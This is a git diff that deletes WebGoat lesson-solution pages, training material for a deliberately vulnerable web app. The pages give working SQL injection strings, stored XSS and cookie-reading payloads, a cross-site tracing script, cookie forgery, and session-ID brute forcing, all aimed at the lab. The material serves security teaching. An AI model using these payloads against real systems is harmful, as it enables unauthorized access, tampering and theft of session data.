- - - \ No newline at end of file diff --git a/src/main/webapp/lesson_solutions_1/SqlModifyData.html b/src/main/webapp/lesson_solutions_1/SqlModifyData.html deleted file mode 100644 index 90594689a..000000000 --- a/src/main/webapp/lesson_solutions_1/SqlModifyData.html +++ /dev/null @@ -1,39 +0,0 @@ - - - - -Solution: Modify Data with SQL - - - -

Lesson Plan Title: Modify Data with SQL

- -

Concept / Topic To Teach:
-SQL injection attacks represent a serious threat to any database-driven site. The methods behind an attack are easy to learn and the damage caused can range from considerable to complete system compromise. Despite these risks, an incredible number of systems on the internet are susceptible to this form of attack. -

-Not only is it a threat easily instigated, it is also a threat that, with a little common-sense and forethought, can easily be prevented.
-
-It is always good practice to sanitize all input data, especially data that will used in OS command, scripts, and database queries, even if the threat of SQL injection has been prevented in some other manner.
-
-

- -

General Goal(s):
-The form below allows a user to view salaries associated with a userid (from the table named salaries). This form is vulnerable to String SQL Injection. In order to pass this lesson, use SQL Injection to modify the salary for userid jsmith. -

- -Solution:

-In this lesson, instead of using the SELECT query command, we use the UPDATE command, which uses the format:
-UPDATE table SET column=value WHERE column=value;

-We need to update the table salaries, setting the salary column to a new number.
-We will use the command:
-UPDATE salaries SET salary=999999 WHERE userid='jsmith'

-We also need to end the previous query and leave our last quote open to make a valid statment.
-To complete this lesson, type the following into the field and press go:
-whatever'; UPDATE salaries SET salary=999999 WHERE userid='jsmith

-If you then search for the userid jsmith, you will see the salary has been updated.

- -
-Updated salary after using a MODIFY query.


- - - \ No newline at end of file diff --git a/src/main/webapp/lesson_solutions_1/SqlNumericInjection.html b/src/main/webapp/lesson_solutions_1/SqlNumericInjection.html deleted file mode 100644 index f46d061d1..000000000 --- a/src/main/webapp/lesson_solutions_1/SqlNumericInjection.html +++ /dev/null @@ -1,682 +0,0 @@ - - - - - - - - - - - - - - - - - - - -
- -

Lesson -Plan Title: How to Perform Numeric SQL Injection

- -

 

- -

Concept / -Topic To Teach:

- - -

-SQL injection attacks represent a serious threat to any database-driven site. The methods behind an attack are easy to learn and the damage caused can range from considerable to complete system compromise. Despite these risks, an incredible number of systems on the internet are susceptible to this form of attack. - -Not only is it a threat easily instigated, it is also a threat that, with a little common-sense and forethought, can easily be prevented. - -It is always good practice to sanitize all input data, especially data that will used in OS command, scripts, and database queries, even if the threat of SQL injection has been prevented in some other manner.

-

 

-

General -Goal(s):

- -

-The form below allows a user to view weather data. Try to inject an SQL string that results in all the weather data being displayed. - -

- -

 

- -

Solution:

- -

 

- - -

 

- -

The -application is taking the input from the select box and inserting it at the end of a pre-formed -SQL command.

- -

Compound SQL -statements can be made by joining multiple tests with keywords like AND and OR. -Try appending a SQL statement that always resolves to true.

- -

 

- -

This is the -query: SELECT * FROM weather_data WHERE station = 101

- -

 

- -

Intercept the post request with WebScarab and replace 101 with 101 or 1=1!

- -

 

- - - - -

Figure 1 Intercepted Request with WebScarab

- -
-
-

As the SQL Statement is true for every station you get -a list of all stations:

- - - - - -

Figure 2 All stations are visible

- - -

 

- -
- - - - - -
- Solution by Erwin Geirnaert - ZION SECURITY
- - - - diff --git a/src/main/webapp/lesson_solutions_1/SqlStringInjection.html b/src/main/webapp/lesson_solutions_1/SqlStringInjection.html deleted file mode 100644 index 725648e08..000000000 --- a/src/main/webapp/lesson_solutions_1/SqlStringInjection.html +++ /dev/null @@ -1,716 +0,0 @@ - - - - - - - -Solution: SQL String Injection - - - - - - - - - - - - -
- -

Lesson -Plan Title: How to -Perform String SQL Injection

- -

 

- -

Concept / -Topic To Teach:

- - - -

SQL injection -attacks represent a serious threat to any database-driven site. The methods -behind an attack are easy to learn and the damage caused can range from -considerable to complete system compromise. Despite these risks, an incredible -number of systems on the internet are susceptible to this form of attack.
-
-Not only is it a threat easily instigated, it is also a threat that, with a -little common-sense and forethought, can easily be prevented.
-
-It is always good practice to sanitize all input data, especially data that -will used in OS command, scripts, and database queries, even if the threat of -SQL injection has been prevented in some other manner.

- -

 

- -

General -Goal(s):

- -

The form -below allows a user to view their credit card numbers. Try to inject an SQL -string that results in all the credit card numbers being displayed. Try the -user name of 'Smith'.

- -

 

- -

Solution:

- -

 

- -

Compared with -the previous lesson, there is now a string parameter and not an integer.

- -

Strings must be -terminated with single quotes to have a valid SQL Query.

- -

 

- -

- -

Figure 1 Lesson 18

- -

 

- -

The query -used in this lesson is: SELECT * FROM user_data WHERE last_name = 'Your Name'

- -

 

- -

Enter for the -last name value: Erwin' OR '1'='1

- -

 

- -

- -

Figure 2 Lesson 18 Completed

- -

 

- -
-
- -

 

- -
- - - - - -
- Solution by Erwin Geirnaert - ZION SECURITY
- - - - diff --git a/src/main/webapp/lesson_solutions_1/StoredXss.html b/src/main/webapp/lesson_solutions_1/StoredXss.html deleted file mode 100644 index a84fc2b40..000000000 --- a/src/main/webapp/lesson_solutions_1/StoredXss.html +++ /dev/null @@ -1,711 +0,0 @@ - - - - - - - - - - - - - - - - - - - -
- -

Lesson Plan Title: How to Perform Stored Cross Site -Scripting (XSS)

- -

 

- -

Concept / Topic To Teach:

- -

It is always a -good practice to scrub all inputs, especially those inputs that will later be -used as parameters to OS commands, scripts, and database queries. It is -particularly important for content that will be permanently stored somewhere. -Users should not be able to create message content that could cause another -user to load an undesirable page or undesirable content when the user's message -is retrieved.

- -

 

- -

General Goal(s):

- -

The user -should be able to add message content that cause another user to load an -undesirable page or content.

- -

 

- -

- -

Figure 1 Lesson 14

- -

 

- -

Solution:

- -

 

- -

Enter this: <script language="javascript" -type="text/javascript">alert("Ha Ha Ha");</script> in the message text -box.

- -

- -

Figure 2 Stored message

- -

 

- -

- -

Figure 3 Lesson 14 nearly completed

- -

 

- -

Now enter this: <script language="javascript" -type="text/javascript">alert(document.cookie);</script> in the message text -box. You will get your SessionId in a popup.

- -

 

- -

 

- -
- - - - - -
- Solution by Erwin Geirnaert - ZION SECURITY
- - - - diff --git a/src/main/webapp/lesson_solutions_1/ThreadSafetyProblem.html b/src/main/webapp/lesson_solutions_1/ThreadSafetyProblem.html deleted file mode 100644 index 4ffede86b..000000000 --- a/src/main/webapp/lesson_solutions_1/ThreadSafetyProblem.html +++ /dev/null @@ -1,670 +0,0 @@ - - - - - - - - - - - - - - - - - - - -
- -

 

- -

Lesson -Plan Title: How to -Exploit Thread Safety Problems

- -

 

- -

Concept / -Topic To Teach:

- -

Web -applications can handle many HTTP requests simultaneously. Developers often use -variables that are not thread safe.  Thread safety means that the fields -of an object or class always maintain a valid state when used concurrently by -multiple threads. It is often possible to exploit a concurrency bug by loading -the same page as another user at the exact same time.
-Because all threads share the same method area, and the method area is where -all class variables are stored, multiple threads can attempt to use the same -class variables concurrently.

- -

 

- -

General -Goal(s):

- -

The user -should be able to exploit the concurrency error in the web application and view -login information for another user that is attempting the same function at the -same time.

- -

 

- -

This will -require the use of two browser windows.

- -

 

- -

- -

Figure 1 Lesson 2

- -

 

- -

Solution:

- -

 

- -

Open a new -browser window by pressing CTRL-N. Position the window so that you see both -input fields. Enter user name "dave" in the left window and user name "jeff" in -the right window.

- -

Click very -fast on the submit button in the right window and then in the left window.

- -

 

- -

- -

Figure 2 2 Browser Windows

- -

 

- -

The result -should be that you receive the same data in both windows, even when using a -different user name!

- -

- -

Figure 3 Lesson 2 Completed

- -

 

- -

The root-cause -of this exploit is that the Java code uses a static variable for the user name. -When submitting twice, the same thread and hence the same static variable -containing the username of the first request will be used.

- -

This is -obvious when examining the Java code:

- -

 

- -

private -static String currentUser;

- -

 

- -
- - - - - -
- Solution by Erwin Geirnaert - ZION SECURITY
- - - - diff --git a/src/main/webapp/lesson_solutions_1/TraceXSS.html b/src/main/webapp/lesson_solutions_1/TraceXSS.html deleted file mode 100644 index 502acdd17..000000000 --- a/src/main/webapp/lesson_solutions_1/TraceXSS.html +++ /dev/null @@ -1,685 +0,0 @@ - - - - - - - - - - - - - - - - - - - -
- -

Lesson -Plan Title: How to -Perform Cross Site Tracing (XST) Attacks

- -

 

- -

Concept / -Topic To Teach:

- -

It -is always a good practice to scrub all input, especially those inputs that will -later be used as parameters to OS commands, scripts, and database queries. It -is particularly important for content that will be permanently stored somewhere -in the application. Users should not be able to create message content that -could cause another user to load an undesireable page or undesireable content -when the user's message is retrieved.

- -

 

- -

General -Goal(s):

- -

Tomcat is -configured to support the HTTP TRACE command. Your goal is to perform a Cross -Site Tracing (XST) attack.

- -

 

- -

Solution:

- -

 

- -

You need to -introduce a cross site trace attack. This can be realized by embedding the -following script in the three digit access code.

- -

 

- -

<script -type="text/javascript">if ( navigator.appName.indexOf("Microsoft") -!=-1) {var xmlHttp = new -ActiveXObject("Microsoft.XMLHTTP");xmlHttp.open("TRACE", -"./", false); xmlHttp.send();str1=xmlHttp.responseText; while -(str1.indexOf("\n") > -1) str1 = str1.replace("\n","<br>"); -document.write(str1);}</script>

- -

 

- -

- -

Figure 1 Lesson 15

- -

 

- -
- - - - - -
- Solution by Erwin Geirnaert - ZION SECURITY
- - - - diff --git a/src/main/webapp/lesson_solutions_1/UncheckedEmail.html b/src/main/webapp/lesson_solutions_1/UncheckedEmail.html deleted file mode 100644 index 8ea6ca3e4..000000000 --- a/src/main/webapp/lesson_solutions_1/UncheckedEmail.html +++ /dev/null @@ -1,672 +0,0 @@ - - - - - - - - - - - - - - - - - - - -
- -

Lesson Plan Title: How to Exploit Unchecked Email

- -

 

- -

Concept / Topic To Teach:

- -

It is always -a good practice to validate all inputs. Most sites allow non-authenticated users -to send e-mail to a 'friend'. This is a great mechanism for spammers to send -out email using your corporate mail server.

- -

 

- -

General Goal(s):

- -

The user -should be able to send an obnoxious email message.

- -

 

- -

Solution:

- -

Type a -malicious script like <script>alert("XSS")</script> and click Send!

- -

 

- -

- -

Figure 1 Lesson 5

- -

 

- -

 

- -

 

- -

- -

Figure 2 Part 1 completed

- -

 

- -

The second -part of this lesson is to send a mail to a friend from OWASP. This can be -accomplished by intercepting the request with WebScarab and changing the hidden -field "to" from webgoat.admin@owasp.org -to bill.gates@microsoft.com

- -

 

- -

- -

Figure 3 Change the variable to another e-mail -address

- -

 

- -

- -

Figure 4 Lesson 5 Completed

- -

 

- -
- - - - - -
- Solution by Erwin Geirnaert - ZION SECURITY
- - - - diff --git a/src/main/webapp/lesson_solutions_1/WSDLScanning.html b/src/main/webapp/lesson_solutions_1/WSDLScanning.html deleted file mode 100644 index b39269ea1..000000000 --- a/src/main/webapp/lesson_solutions_1/WSDLScanning.html +++ /dev/null @@ -1,724 +0,0 @@ - - - - - - - - - - - - - - - - - - - -
- -

Lesson -Plan Title: How to -Perform WSDL Scanning

- -

 

- -

Concept / -Topic To Teach:

- -

Web -Services communicate through the use of SOAP requests. These requests are -submitted to a web service in an attempt to execute a function defined in the -web service definition language (WSDL) file.

- -

 

- -

General -Goal(s):

- -

This screen -is the API for a web service. Check the WSDL file for this web service and try -to get some customer credit numbers.

- -

 

- -

- -

Figure 1 Lesson 22

- -

 

- -

Solution:

- -

 

- -

Open the WSDL -file in a new window. There is an operation getCreditCard.

- -

 

- -

- -

 

- -

Intercept the -request with WebScarab and change the parameter to getCreditCard

- -

 

- -

- -

Figure 2 WebScarab raw request

- -

 

- -

- -

Figure 3 Lesson 22 Completed

- -

 

- -

 

- -
- - - - - -
- Solution by Erwin Geirnaert - ZION SECURITY
- - - - diff --git a/src/main/webapp/lesson_solutions_1/WeakAuthenticationCookie.html b/src/main/webapp/lesson_solutions_1/WeakAuthenticationCookie.html deleted file mode 100644 index 926440486..000000000 --- a/src/main/webapp/lesson_solutions_1/WeakAuthenticationCookie.html +++ /dev/null @@ -1,915 +0,0 @@ - - - - - - - -Solution: Spoof an Authentication Cookie - - - - - - - - - - - - - - -
- -

Lesson -Plan Title: How to -Spoof an Authentication Cookie

- -

 

- -

Concept / Topic To Teach:

- - - -

Many -applications will automatically log a user into their site if the right -authentication cookie is specified.   Some times the cookie values can be -guessed if the algorithm for generating the cookie can be obtained.  Some -times the cookies are left on the client machine and can be stolen by -exploiting another system vulnerability.  Some times the cookies maybe -intercepted using Cross site scripting.  This lesson tries to make the -student aware of authentication cookies and presents the student with a way to -defeat the cookie authentication method in this lesson.
-
-

- - - -

General Goal(s):

- -

The user -should be able to bypass the authentication check.

- -

 

- -

Solution:

- -

 

- -

Make sure -that you have "Show Cookies" enabled in WebGoat. And you need to disable the -feature "Inject know cookies into requests" in WebScarab otherwise WebScarab -will always inject your old cookie and not the new cookie.

- -

 

- -

- -

Figure 1 Disable "Inject known cookies into -requests"

- -

 

- -

- -

Figure 2 Logon with webgoat/webgoat

- -

 

- -

You can login -with webgoat/webgoat.

- -

 

- -

- -

Figure 3 Logged on as webgoat

- -

 

- -

Hit -"Refresh". This refresh will show our AuthCookie. And you are now authenticated -using this cookie and not with parameters like above.

- -

 

- -

- -

 

- -

There is a -new cookie called AuthCookie with values 65432ubphcfx. Logout and login with -aspect/aspect.

- -

 

- -

- -

Figure 4 Logon as aspect/aspect

- -

 

- -

- -

Figure 5 Logged on as aspect

- -

 

- -

Hit "Refresh" -to see the new cookie.

- -

 

- -

- -

Figure 6 Cookie for user aspect

- -

 

- -

You have now -a different cookie value for AuthCookie: 65432udfgfb

- -

 

- - - - - - - - - - -
-

webgoat

-
-

ubphcfx

-
-

Aspect

-
-

udfgfb

-
- -

 

- -

This is an transposition -of the letters of the alphabet. Each letter is replaced with its successor, for -example t->u, a->b and the user name is reversed. So for user name alice the cookie will -contain the reversed user name ecila and the successors of the letters. This -results in fdjmb.

- -

 

- -

Login with -user name alice -and intercept the request in WebScarab. Add AuthCookie=65432fdjmb to the -existing cookie JSESSIONID.

- -

 

- -

 

- -

 

- -

- -

Figure 7 Add AuthCookie to request

- -

 

- -

- -

Figure 8 Lesson 11 Completed

- -

 

- -

 

- -
- - - - - -
- Solution by Erwin Geirnaert - ZION SECURITY
- - - - diff --git a/src/main/webapp/lesson_solutions_1/WeakSessionID.html b/src/main/webapp/lesson_solutions_1/WeakSessionID.html deleted file mode 100644 index 2bfff1bc5..000000000 --- a/src/main/webapp/lesson_solutions_1/WeakSessionID.html +++ /dev/null @@ -1,90 +0,0 @@ - - - - -Solution: How to Hijack a Session - - - -

Lesson Plan Title: How to Hijack a Session

- -

Concept / Topic To Teach:
-Application developers who develop their own session IDs frequently forget to incorporate the complexity and randomness necessary for security. If the user specific session ID is not complex and random, then the application is highly susceptible to session-based brute force attacks. -

- -

General Goal(s):
-Try to access an authenticated session belonging to someone else.

-In this lesson we are trying to predict the WEAKID value. THe WEAKID is used to differentiate authenticated and anonymous users of WebGoat. -

- -Solution:

-The easiest way to complete this lesson is to use WebScarab's Session ID Analysis feature. The Solution Videos provide another method of uncovering it as well.

-To access the Session ID Analysis, you need to put WebScarab in its full-featured mode, if it isn't already. This can be enabled by going to Tools -> use full-featured interface in WebScarab.
-Click on the SessionID Analysis tab at the top of the page, then use the Previous Requests dropdown to select the most recent GET request with a 200 OK header. Its address will end with webgoat/attack, not an image or java file.

- -
-Selecting the correct GET request for Session ID analysis.

- -Next, we need to make sure that WebScarab is able to fetch the WEAKID cookie. Click the Test button at the bottom of the page. You should get a popup window showing the WEAKID.

- -
-Succesful WEAKID test popup.

- -If the popup indicates that no valid session is found, that means there is already a WEAKID value in the request. This prevents the "Set-Cookie" header from being sent in the response. To fix this, delete the WEAKID=value; portion of the Cookie header and press test again.

- -Now we need to fetch a set of WEAKIDs. Enter "50" into the Samples field at the bottom of the window, then press Fetch. Switch to the "Analysis" tab. Select the WEAKID option from the Session Identifier dropdown, and the window should populate with WEAKID values.

- -The WEAKID is divided into two parts: the first part before the dash is an identifier that increases by 1 in each cookie, and the part after the dash is a time value that is calculated when the request is submitted.
-Notice that there is sometimes a gap in the first value of the WEAKID, where one number is skipped. The missing value is what we need to log in, we just need to figure out the time stamp value that goes after the dash.

-It's simple to spot where this value is. Look at the "Difference" column on the analysis screen. Almost all of the values will be only one or two apart. We are looking for the record where this value is around double the rest of them.

- -
-Analysis screen with the cookie of interest highlighted.

- -This WEAKID follows the one we're trying to find. You will notice the identifier of the cookie preceding the highlighted one is two less, whereas all the other cookies decrease only by one. The one missing is what we want to find:
-16964-1312472439375
-16966-1312472439484

-The WEAKID beginning with 16965 is missing. This is the WEAKID we want, we just need to figure out the second part.
- -We'll figure this out by using the brute force method. We will send requests with each possible timestamp value until we find one that is successful. Its timestamp must be between the two surrounding it:
-16964-1312472439375
-16965-?????????????
-16966-1312472439484

- -So our timestamp is between 1312472439375 and 1312472439484. Now we just need a program to do brute force this for us. We will use J-Baah, previously known as Crowbar. Download it and run the .jar.

-We will configure J-Baah to send our request repeatedly, with a different WEAKID each time. Copy our RAW HTTP Request we used to generate these cookies, found under the Collection tab. Paste it in the Request box in J-Baah.

- -The WEAKID paramter needs to be put into the request. It will begin with the missing value we figured out before the dash, 16965 in our case. How do we fill in the rest when we dont know what it is?
-In this case, we will add WEAKID=16965-1312472439##1##; to the Cookie paramter of our request. The ##1## replaces the part of the timestamp that varies in our range. Next, we specify this range. In the Paramter 1 Tab, we set From as 375, and To as 484.

- -
-J-Baah setup.

-Lastly, go to the "Target" tab at the bottom right, and set the Host to localhost and the Port to whichever port WebGoat is using, generally 80 or 8080.
-Go back to the "Action" tab, and click Base Response. You should see a message on the bottom left that a response is generated successfully. Change Threads to 2 and then press Start. The bottom left window should start filling up with "Hijack a session"

- -
-All of the responses for each WEAKID. The successful attempt is highlighted.

- - -Before we go any further, it is important to understand what is happening here. The ##1## string is replaced with a different number in the range we specified and the request is sent. The first WEAKID tried is 16965-1312472439375, then it tries every timestamp until the last one, 16965-1312472439484. J-Baah collects all of these responses and shows them in the bottom left window.

- -Each line shows one response, and displays important information about it.

-0.99969 : 417 : : Hijack a Session
-Clicking base response tries the first WEAKID and sets its response as the control. This first number indicates how similar this response is to the base response. A value of 1 means the responses are identical. The further the number is from 1, the more different this response is.
-
-0.99969 : 417 : : Hijack a Session
-This second number is the value replacing the ##1## in our request.

-0.99969 : 417 : : Hijack a Session
-The last portion is the title of the response page. In this case, if it's not "Hijack a Session", something went wrong.

- -The value indicating similarity to the base response will tell us which WEAKID worked. If everything went swimmingly, there should only be three values for this number. Look again at the screenshot above. There are many responses showing .99969, one showing .9949, then many more showing .99954. The response stayed the same until we got to the WEAKID ending in 429, then it changed. This is where the brute force succeeded. Right click on this response and click "Show Response".

- -
-This WEAKID worked! We hijacked this session.

- -Refreshing the lesson should show it is complete.

- - - - - \ No newline at end of file diff --git a/src/main/webapp/lesson_solutions_1/WeakSessionID.htmlBAK b/src/main/webapp/lesson_solutions_1/WeakSessionID.htmlBAK deleted file mode 100644 index d2605b85c..000000000 --- a/src/main/webapp/lesson_solutions_1/WeakSessionID.htmlBAK +++ /dev/null @@ -1,889 +0,0 @@ - - - - - - - -Solution: How to Hijack a Session - - - - - - - - - - - - -
- -

 

- -

Lesson -Plan Title: How to -Hijack a Session

- -

 

- -

Concept / -Topic To Teach:

- - - -

Application -developers who develop their own session IDs frequently forget to incorporate -the complexity and randomness necessary for security. If the user specific -session ID is not complex and random, then the application is highly -susceptible to session-based brute force attacks.

- -

 

- -

General -Goal(s):

- -

Try to access -an authenticated session belonging to someone else.

- - - -

 

- -

In this -lesson the purpose is to predict the WEAKID value. The WEAKID is used to -differentiate authenticated and anonymous users of WebGoat.

- -

 

- -

- -

 

- -

 

- -

Solution:

- -

 

- -

The easiest -way to complete this lesson is to use WebScarab's Session ID Analysis.

- -

 

- -

Go to -WebScarab and click on the button "SessionID Analysis". Select the last POST -request from the "Previous requests" drop-down box.

- -

- -

Figure 1 WebScarabs SessionID Analysis

- -

 

- -

To make sure -that WebScarab is able to fetch the WEAKID cookie, you need to click the "Test" -button on the bottom of the screen. A pop-up window must be shown like below.

- -

 

- -

- -

Figure 2 SessionID WEAKID discovered

- -

 

- -

If you don’t -have a pop-up window with the Extracted Sessionids, you must edit the Request. -You must delete the WEAKID value from the request. Without this cookie value, -WebGoat will return a HTTP Header "Set-Cookie: WEAKID=value" so WebScarab -learns about this value.

- -

 

- -

 

- -

Fetch 50 -samples and examine the results. Enter "50" in the "Samples" window and click -the button "Fetch". You will not see any information about progress.

- -

 

- -

- -

 

- -

Now you need -to go to the tab "Analysis".

- -

 

- -

- -

 

- -

In the "Analysis" -pane you see nothing.

- -

- -

You must -select the Session Identifier WEAKID value from the drop-down box.

- -

 

- -

- -

 

- -

The WEAKID is -divided in 2 parts: the first part is an identifier that is added 1 in every -cookie and a time value. The time value is calculated at the moment that you -submit the request.

- -

 

- -

Notice that -there is sometimes a gap in the first value of the WEAKID, skipping with 1. The -value that is missing is the value that you need to know to log on. Now you -only need to calculate the timestamp. This can be brute-forced using Crowbar. -You know the previous timestamp and the next timestamp so you have a start and -end value.
-You can download Crowbar for free: http://www.sensepost.com/research/crowbar/ -

- -

 

- -

- -

 

- -

There is a -value 16935 and a value 16937 with a numeric difference of 28110 instead of -14109, so there the WEAKID cookie is located. Copy and paste the raw HTTP -request in Crowbar:

- -

- -

Figure 3 Crowbar

- -

 

- -

Change target -to localhost and adjust the port.

- -

Create a Base -response. Make sure that you see "How to hijack a session" in the middle -window.

- -

 

- -

Insert ##1## -in the WEAKID parameter where you want to brute-force the value and be aware, that the first part of the WEAKID is the one we are searching for (16936). -The WEAKID in Crowbar lookes like this: Cookie: JSESSIONID=...; WEAKID=16936-1163685##1##;
-Start the first loop at 363093, the last digits of the last cookie before the -authentication cookie and 363203, the first cookie after the authentication -cookie. You have to enter these two values in the Parameter1 fields. We have to brute-force these values, but we are sure that they lie -between these two boundaries.

- -

Examine the -results until you see a different fuzzy logic value (the blue line in Figure 3), right-click it and click on "Show -reply".

- -

 

- -

- -

Figure 4 Lesson 12 Completed

- -

 

- -

 

- -
- - - - - -
- Solution by Erwin Geirnaert - ZION SECURITY
- - - - diff --git a/src/main/webapp/lesson_solutions_1/WeakSessionID_filesBAK/colorschememapping.xml b/src/main/webapp/lesson_solutions_1/WeakSessionID_filesBAK/colorschememapping.xml deleted file mode 100644 index b200daa38..000000000 --- a/src/main/webapp/lesson_solutions_1/WeakSessionID_filesBAK/colorschememapping.xml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/src/main/webapp/lesson_solutions_1/WeakSessionID_filesBAK/filelist.xml b/src/main/webapp/lesson_solutions_1/WeakSessionID_filesBAK/filelist.xml deleted file mode 100644 index 082acf789..000000000 --- a/src/main/webapp/lesson_solutions_1/WeakSessionID_filesBAK/filelist.xml +++ /dev/null @@ -1,25 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/src/main/webapp/lesson_solutions_1/WeakSessionID_filesBAK/image001.png b/src/main/webapp/lesson_solutions_1/WeakSessionID_filesBAK/image001.png deleted file mode 100644 index 560ca80c0..000000000 Binary files a/src/main/webapp/lesson_solutions_1/WeakSessionID_filesBAK/image001.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions_1/WeakSessionID_filesBAK/image003.png b/src/main/webapp/lesson_solutions_1/WeakSessionID_filesBAK/image003.png deleted file mode 100644 index f0100265e..000000000 Binary files a/src/main/webapp/lesson_solutions_1/WeakSessionID_filesBAK/image003.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions_1/WeakSessionID_filesBAK/image005.png b/src/main/webapp/lesson_solutions_1/WeakSessionID_filesBAK/image005.png deleted file mode 100644 index c42733b93..000000000 Binary files a/src/main/webapp/lesson_solutions_1/WeakSessionID_filesBAK/image005.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions_1/WeakSessionID_filesBAK/image007.png b/src/main/webapp/lesson_solutions_1/WeakSessionID_filesBAK/image007.png deleted file mode 100644 index a34c6751c..000000000 Binary files a/src/main/webapp/lesson_solutions_1/WeakSessionID_filesBAK/image007.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions_1/WeakSessionID_filesBAK/image010.png b/src/main/webapp/lesson_solutions_1/WeakSessionID_filesBAK/image010.png deleted file mode 100644 index 0c6fe9313..000000000 Binary files a/src/main/webapp/lesson_solutions_1/WeakSessionID_filesBAK/image010.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions_1/WeakSessionID_filesBAK/image012.png b/src/main/webapp/lesson_solutions_1/WeakSessionID_filesBAK/image012.png deleted file mode 100644 index 46b787813..000000000 Binary files a/src/main/webapp/lesson_solutions_1/WeakSessionID_filesBAK/image012.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions_1/WeakSessionID_filesBAK/image014.png b/src/main/webapp/lesson_solutions_1/WeakSessionID_filesBAK/image014.png deleted file mode 100644 index bde7fd0bd..000000000 Binary files a/src/main/webapp/lesson_solutions_1/WeakSessionID_filesBAK/image014.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions_1/WeakSessionID_filesBAK/image016.png b/src/main/webapp/lesson_solutions_1/WeakSessionID_filesBAK/image016.png deleted file mode 100644 index d25bc4167..000000000 Binary files a/src/main/webapp/lesson_solutions_1/WeakSessionID_filesBAK/image016.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions_1/WeakSessionID_filesBAK/image018.png b/src/main/webapp/lesson_solutions_1/WeakSessionID_filesBAK/image018.png deleted file mode 100644 index bb0344681..000000000 Binary files a/src/main/webapp/lesson_solutions_1/WeakSessionID_filesBAK/image018.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions_1/WeakSessionID_filesBAK/image020.jpg b/src/main/webapp/lesson_solutions_1/WeakSessionID_filesBAK/image020.jpg deleted file mode 100644 index b825cea5d..000000000 Binary files a/src/main/webapp/lesson_solutions_1/WeakSessionID_filesBAK/image020.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions_1/WeakSessionID_filesBAK/image021.jpg b/src/main/webapp/lesson_solutions_1/WeakSessionID_filesBAK/image021.jpg deleted file mode 100644 index a7fd9b516..000000000 Binary files a/src/main/webapp/lesson_solutions_1/WeakSessionID_filesBAK/image021.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions_1/WeakSessionID_filesBAK/image022.jpg b/src/main/webapp/lesson_solutions_1/WeakSessionID_filesBAK/image022.jpg deleted file mode 100644 index b38898623..000000000 Binary files a/src/main/webapp/lesson_solutions_1/WeakSessionID_filesBAK/image022.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions_1/WeakSessionID_filesBAK/image023.jpg b/src/main/webapp/lesson_solutions_1/WeakSessionID_filesBAK/image023.jpg deleted file mode 100644 index 0c3616032..000000000 Binary files a/src/main/webapp/lesson_solutions_1/WeakSessionID_filesBAK/image023.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions_1/WeakSessionID_filesBAK/image024.jpg b/src/main/webapp/lesson_solutions_1/WeakSessionID_filesBAK/image024.jpg deleted file mode 100644 index 632ca5835..000000000 Binary files a/src/main/webapp/lesson_solutions_1/WeakSessionID_filesBAK/image024.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions_1/WeakSessionID_filesBAK/image025.jpg b/src/main/webapp/lesson_solutions_1/WeakSessionID_filesBAK/image025.jpg deleted file mode 100644 index 0ab015bbb..000000000 Binary files a/src/main/webapp/lesson_solutions_1/WeakSessionID_filesBAK/image025.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions_1/WeakSessionID_filesBAK/image026.jpg b/src/main/webapp/lesson_solutions_1/WeakSessionID_filesBAK/image026.jpg deleted file mode 100644 index bc5a7fe32..000000000 Binary files a/src/main/webapp/lesson_solutions_1/WeakSessionID_filesBAK/image026.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions_1/WeakSessionID_filesBAK/image027.jpg b/src/main/webapp/lesson_solutions_1/WeakSessionID_filesBAK/image027.jpg deleted file mode 100644 index 7bbdb5f09..000000000 Binary files a/src/main/webapp/lesson_solutions_1/WeakSessionID_filesBAK/image027.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions_1/WeakSessionID_filesBAK/image028.jpg b/src/main/webapp/lesson_solutions_1/WeakSessionID_filesBAK/image028.jpg deleted file mode 100644 index 4530c95f9..000000000 Binary files a/src/main/webapp/lesson_solutions_1/WeakSessionID_filesBAK/image028.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions_1/WeakSessionID_filesBAK/image029.jpg b/src/main/webapp/lesson_solutions_1/WeakSessionID_filesBAK/image029.jpg deleted file mode 100644 index 112d5259b..000000000 Binary files a/src/main/webapp/lesson_solutions_1/WeakSessionID_filesBAK/image029.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions_1/WeakSessionID_filesBAK/themedata.thmx b/src/main/webapp/lesson_solutions_1/WeakSessionID_filesBAK/themedata.thmx deleted file mode 100644 index 55426d8ec..000000000 Binary files a/src/main/webapp/lesson_solutions_1/WeakSessionID_filesBAK/themedata.thmx and /dev/null differ diff --git a/src/main/webapp/lesson_solutions_1/WsSAXInjection.html b/src/main/webapp/lesson_solutions_1/WsSAXInjection.html deleted file mode 100644 index c5e854290..000000000 --- a/src/main/webapp/lesson_solutions_1/WsSAXInjection.html +++ /dev/null @@ -1,917 +0,0 @@ - - - - - - - -Solution: Web Service SAX Injection - - - - - - - - - - - - -
- -

Lesson Plan Title: How to Perform Web Service SAX -Injection

- -

 

- -

Concept / Topic To Teach:

- - - -

Web Services -communicate through the use of SOAP requests. These requests are submitted to a -web service in an attempt to execute a function defined in the web service -definition language (WSDL) file.

- -

 

- -

General Goal(s):

- -

Some web -interfaces make use of Web Services in the background. If the frontend relies -on the web service for all input validation, it may be possible to corrupt the -XML that the web interface sends.
-
-

- -

In this -exercise, try to change the password for a user other than 101.

- -

 

- -

 

- -

 

- -

Solution:

- -

 

- -

To succeed -this lesson it is required to reset the password of the user with a different -user-ID then 101 (which is your user-ID)

- -

.

- -

When you fill -out a password and click on "Go!" the following XML request will be created, -submit and parsed by the SAX parser:

- -

